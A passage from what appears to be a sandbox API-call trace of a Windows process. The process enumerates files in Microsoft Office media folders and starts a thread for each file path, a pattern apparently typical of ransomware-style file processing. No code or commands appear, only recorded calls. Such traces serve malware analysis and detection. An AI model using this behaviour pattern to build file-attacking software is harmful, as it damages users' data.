ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0056.095] wcscmp (_String1="BD18202_.WMF", _String2=".") returned 1 [0056.095] wcscmp (_String1="BD18202_.WMF", _String2="..") returned 1 [0056.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccee0 [0056.095] wcscpy (in: _Dest=0x97ccee0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.095] wcscat (in: _Dest=0x97ccee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.095] wcscat (in: _Dest=0x97ccee0, _Source="BD18202_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" [0056.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0056.097] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0056.097] wcscmp (_String1="BD18203_.WMF", _String2=".") returned 1 [0056.097] wcscmp (_String1="BD18203_.WMF", _String2="..") returned 1 [0056.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ccf78 [0056.097] wcscpy (in: _Dest=0x97ccf78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.097] wcscat (in: _Dest=0x97ccf78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.097] wcscat (in: _Dest=0x97ccf78, _Source="BD18203_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" [0056.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ccf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0056.098] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0056.098] wcscmp (_String1="BD18204_.WMF", _String2=".") returned 1 [0056.098] wcscmp (_String1="BD18204_.WMF", _String2="..") returned 1 [0056.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd010 [0056.098] wcscpy (in: _Dest=0x97cd010, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.098] wcscat (in: _Dest=0x97cd010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.098] wcscat (in: _Dest=0x97cd010, _Source="BD18204_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" [0056.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0056.099] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0056.099] wcscmp (_String1="BD18205_.WMF", _String2=".") returned 1 [0056.099] wcscmp (_String1="BD18205_.WMF", _String2="..") returned 1 [0056.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd0a8 [0056.100] wcscpy (in: _Dest=0x97cd0a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.100] wcscat (in: _Dest=0x97cd0a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.100] wcscat (in: _Dest=0x97cd0a8, _Source="BD18205_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" [0056.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0056.101] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0056.101] wcscmp (_String1="BD18206_.WMF", _String2=".") returned 1 [0056.101] wcscmp (_String1="BD18206_.WMF", _String2="..") returned 1 [0056.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd140 [0056.101] wcscpy (in: _Dest=0x97cd140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.101] wcscat (in: _Dest=0x97cd140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.101] wcscat (in: _Dest=0x97cd140, _Source="BD18206_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" [0056.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0056.103] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0056.103] wcscmp (_String1="BD18207_.WMF", _String2=".") returned 1 [0056.103] wcscmp (_String1="BD18207_.WMF", _String2="..") returned 1 [0056.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd1d8 [0056.103] wcscpy (in: _Dest=0x97cd1d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.103] wcscat (in: _Dest=0x97cd1d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.103] wcscat (in: _Dest=0x97cd1d8, _Source="BD18207_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" [0056.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0056.104] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0056.104] wcscmp (_String1="BD18208_.WMF", _String2=".") returned 1 [0056.104] wcscmp (_String1="BD18208_.WMF", _String2="..") returned 1 [0056.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd270 [0056.104] wcscpy (in: _Dest=0x97cd270, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.104] wcscat (in: _Dest=0x97cd270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.104] wcscat (in: _Dest=0x97cd270, _Source="BD18208_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" [0056.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0057.921] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0057.921] wcscmp (_String1="BD18209_.WMF", _String2=".") returned 1 [0057.921] wcscmp (_String1="BD18209_.WMF", _String2="..") returned 1 [0057.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd600 [0057.921] wcscpy (in: _Dest=0x97cd600, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0057.921] wcscat (in: _Dest=0x97cd600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0057.921] wcscat (in: _Dest=0x97cd600, _Source="BD18209_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" Thread: id = 758 os_tid = 0xe44 [0051.518] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08198 [0051.518] wcscpy (in: _Dest=0x12e08198, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0051.518] wcscat (in: _Dest=0x12e08198, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0051.518] wcscat (in: _Dest=0x12e08198, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*" [0051.518] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b80c8 [0051.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440f20 [0055.490] wcscmp (_String1=".", _String2=".") returned 0 [0055.490] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.975] wcscmp (_String1="..", _String2=".") returned 1 [0055.975] wcscmp (_String1="..", _String2="..") returned 0 [0055.976] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0055.976] wcscmp (_String1="BD10253_.GIF", _String2=".") returned 1 [0055.976] wcscmp (_String1="BD10253_.GIF", _String2="..") returned 1 [0055.976] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438780 [0055.976] wcscpy (in: _Dest=0x438780, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0055.976] wcscat (in: _Dest=0x438780, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0055.976] wcscat (in: _Dest=0x438780, _Source="BD10253_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" [0057.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0057.886] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0057.886] wcscmp (_String1="BD10254_.GIF", _String2=".") returned 1 [0057.886] wcscmp (_String1="BD10254_.GIF", _String2="..") returned 1 [0057.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439360 [0057.886] wcscpy (in: _Dest=0x439360, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.886] wcscat (in: _Dest=0x439360, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.886] wcscat (in: _Dest=0x439360, _Source="BD10254_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" [0057.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0057.887] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0057.887] wcscmp (_String1="BD10255_.GIF", _String2=".") returned 1 [0057.887] wcscmp (_String1="BD10255_.GIF", _String2="..") returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4393f8 [0057.887] wcscpy (in: _Dest=0x4393f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.888] wcscat (in: _Dest=0x4393f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.888] wcscat (in: _Dest=0x4393f8, _Source="BD10255_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" [0057.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4393f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0057.889] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0057.889] wcscmp (_String1="BD10263_.GIF", _String2=".") returned 1 [0057.889] wcscmp (_String1="BD10263_.GIF", _String2="..") returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439490 [0057.889] wcscpy (in: _Dest=0x439490, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.889] wcscat (in: _Dest=0x439490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.889] wcscat (in: _Dest=0x439490, _Source="BD10263_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" [0057.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0057.890] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0057.890] wcscmp (_String1="BD10264_.GIF", _String2=".") returned 1 [0057.890] wcscmp (_String1="BD10264_.GIF", _String2="..") returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439528 [0057.890] wcscpy (in: _Dest=0x439528, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.890] wcscat (in: _Dest=0x439528, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.890] wcscat (in: _Dest=0x439528, _Source="BD10264_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" [0057.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0057.891] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0057.891] wcscmp (_String1="BD10265_.GIF", _String2=".") returned 1 [0057.891] wcscmp (_String1="BD10265_.GIF", _String2="..") returned 1 [0057.891] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4395c0 [0057.891] wcscpy (in: _Dest=0x4395c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.891] wcscat (in: _Dest=0x4395c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.891] wcscat (in: _Dest=0x4395c0, _Source="BD10265_.GIF" | out: _Dest="C:\\Program Files\\Microsoft 